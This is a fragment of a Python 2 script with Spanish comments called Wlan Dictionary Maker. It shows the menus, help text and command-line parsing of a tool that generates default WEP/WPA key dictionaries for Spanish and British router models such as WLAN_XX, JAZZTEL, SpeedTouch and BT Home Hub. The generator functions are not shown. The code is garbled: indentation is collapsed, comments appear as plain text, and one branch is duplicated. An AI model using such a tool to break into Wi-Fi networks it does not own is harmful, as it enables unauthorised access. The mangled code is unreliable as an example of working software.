Menu para las redes SpeedTouch

def menu_speed_touch_wlan():         print >> sys.stderr,"Introduce el nombre de la red:",         essid=raw_input("")         print >> sys.stderr,"Introduce el anho por el que se comenzara la busqueda (por ejemplo 05):",         inicio=raw_input("")         print >> sys.stderr,"Introduce el ultimo anho de la busqueda (por ejemplo 09):",         fin=raw_input("")         speed_touch_wlan(essid,6,inicio,fin)

Menu para las redes BTHomeHub

El resto del codigo se usa el de SpeedTouch

def menu_bthh_wlan():

print >> sys.stderr,"Introduce el nombre de la red:",         essid=raw_input("")         print >> sys.stderr,"Introduce el anho por el que se comenzara la busqueda (por ejemplo 05):",         inicio=raw_input("")         print >> sys.stderr,"Introduce el ultimo anho de la busqueda (por ejemplo 09):",         fin=raw_input("")         speed_touch_wlan(essid,4,inicio,fin)

Mensaje de error (para cualquier error en los parametros)

def error_param():     print >> sys.stderr, "Error, parametros no validos."     print >> sys.stderr, "Ejecuta el script con -? para mostrar las opciones."

Mensaje de... ayuda?

def wdic_ayuda():     print >> sys.stderr, " Wlan Dictionary Maker"     print >> sys.stderr, " Opciones:\n"

print >> sys.stderr, "  Sin argumentos: Ejecuta el script a traves de los menus.\n"

print >> sys.stderr, "  =>Para redes WLAN o JAZZTEL: wdic.py wlan essid bssid"     print >> sys.stderr, "   essid: Nombre de la red Wifi (?? si no se conoce)."     print >> sys.stderr, "   bssid: Bssid de el punto de acceso.\n"

print >> sys.stderr, "  =>Para redes R: wdic.py r -opc [anho_inicial] [anho_final]"     print >> sys.stderr, "   Opc: -g para diccionario general, -a para diccionario por anhos."     print >> sys.stderr, "   Anho final e inicial con 4 digitos.\n"

print >> sys.stderr, "  =>Para redes ADSL: wdic.py adsl essid"     print >> sys.stderr, "   essid: Nombre de la red Wifi."     print >> sys.stderr, "  ->Salida en hexadecimal.\n"

print >> sys.stderr, "  =>Para redes DLINK-WIRELESS: wdic.py dlink bssid"     print >> sys.stderr, "   bssid: Bssid de el punto de acceso."     print >> sys.stderr, "  ->Salida en hexadecimal.\n"

print >> sys.stderr, "  =>Para redes ONO (PXXXXXXXXXXXX): wdic.py ono essid"     print >> sys.stderr, "   essid: Nombre de la red Wifi.\n"

print >> sys.stderr, "  =>Para redes Tele2: wdic.py tele2 opc "     print >> sys.stderr, "   Opc: g para diccionario general, 7 para diccionario de 2007 y 8 para el de 2008.\n"     print >> sys.stderr, "   Anho final e inicial con 2 digitos.\n"

print >> sys.stderr, "  =>Para redes SpeedTouch: wdic.py speedtouch essid anho_inicial anho_final"     print >> sys.stderr, "   essid: Nombre de la red Wifi.\n"

print >> sys.stderr, "  =>Para redes BT Home Hub: wdic.py bthh essid anho_inicial anho_final"     print >> sys.stderr, "   essid: Nombre de la red Wifi.\n"          print >> sys.stderr, "  ->Nota: Cuando pide el nombre de la red solo coje la parte que cambia, asi que por ejemplo en WLAN_AB se podria poner simplemente AB\n"

Menu general del script

def menu():

print >> sys.stderr, "Bienvenid@ a Wlan Dictionary Maker.\n"         fin=False         while (fin==False):                 print >> sys.stderr, "\tSelecciona un tipo de Wifi.\n"                 print >> sys.stderr, "\tWEP\n"                 print >> sys.stderr, "\t a) WLAN_XX"                 print >> sys.stderr, "\t b) JAZZTEL_XX"                 print >> sys.stderr, "\t c) R-WLANXX"                 print >> sys.stderr, "\t d) ADSLXXXX"                 print >> sys.stderr, "\t e) DLINK-WIRELESS"                 print >> sys.stderr, "\t f) PXXXXXXXXX\t(ONO)\n"                 print >> sys.stderr, "\tWPA\n"                 print >> sys.stderr, "\t g) Tele2"                 print >> sys.stderr, "\t h) SpeedTouch"                 print >> sys.stderr, "\t i) BTHomeHub"                 print >> sys.stderr, "\t x) Salir"

print >> sys.stderr, '\n->',                 opc=raw_input('')                 if (opc=='a'):                         menu_wlan()                 elif (opc=='b'):                         menu_wlan()                 elif (opc=='c'):                         menu_r_wlan()                 elif (opc=='d'):                         menu_adsl_wlan()                 elif (opc=='e'):                         menu_dlink_wlan()                 elif (opc=='f'):                         menu_ono_wlan()                 elif (opc=='g'):                         menu_tele2_wlan()                 elif (opc=='h'):                         menu_speed_touch_wlan()                 elif (opc=='i'):                         menu_bthh_wlan()                 elif (opc=='x'):                         fin=True                 else:                         print >> sys.stderr, "\n+-----------------------+"                         print >> sys.stderr, "| Opcion no encontrada. |"                         print >> sys.stderr, "+-----------------------+\n"                         print >> sys.stderr, " -> Pulsa enter para continuar.\n"                 if not fin:                         raw_input()

Listo, de aqui hasta abajo solo se encarga de comprobar que argumentos se

mandaron y lanzar las funciones

try:         argc=len(sys.argv) except:         argc=1

Sin parametros (menu):

if argc==1:     menu()

Ayuda:

elif argc==2 and sys.argv[1]=="-?":     wdic_ayuda()

WEP

Wlan y Jazztel:

elif sys.argv[1]=='wlan':     if argc==4:         wlan(sys.argv[2],sys.argv[3])     else:         error_param()

R:

elif sys.argv[1]=='r':     if argc>2:         if sys.argv[2]=='-a':             r_wlan('a',sys.argv[3],sys.argv[4])             elif sys.argv[2]=='-g':             r_wlan('g')         else:             error_param()     else:         error_param()

ADSL:

elif sys.argv[1]=='adsl':         if argc==3:                 adsl_wlan(sys.argv[2])         else:                 error_param()

D-Link

elif sys.argv[1]=='dlink':         if argc==3:                 dlink_wlan(sys.argv[2],True)         else:                 error_param()

ONO

elif sys.argv[1]=='ono':         if argc==3:                 ono_wlan(sys.argv[2],True)         else:                 error_param()

WPA

Tele2:

elif sys.argv[1]=='tele2':     if argc==3:             tele2_wlan(sys.argv[2])         else:         error_param()

SpeedTouch:

elif sys.argv[1]=='speedtouch':     if argc==5:             speed_touch_wlan(sys.argv[2],6,sys.argv[3],sys.argv[4])     else:         error_param()

SpeedTouch:

elif sys.argv[1]=='speedtouch':     if argc==5:             speed_touch_wlan(sys.argv[2],6,sys.argv[3],sys.argv[4])     else:         error_param()

BT Home Hub:

elif sys.argv[1]=='bthh':     if argc==5:             speed_touch_wlan(sys.argv[2],4,sys.argv[3],sys.argv[4])     else:         error_param()

Sino...

else:     error_param() ===============================================================================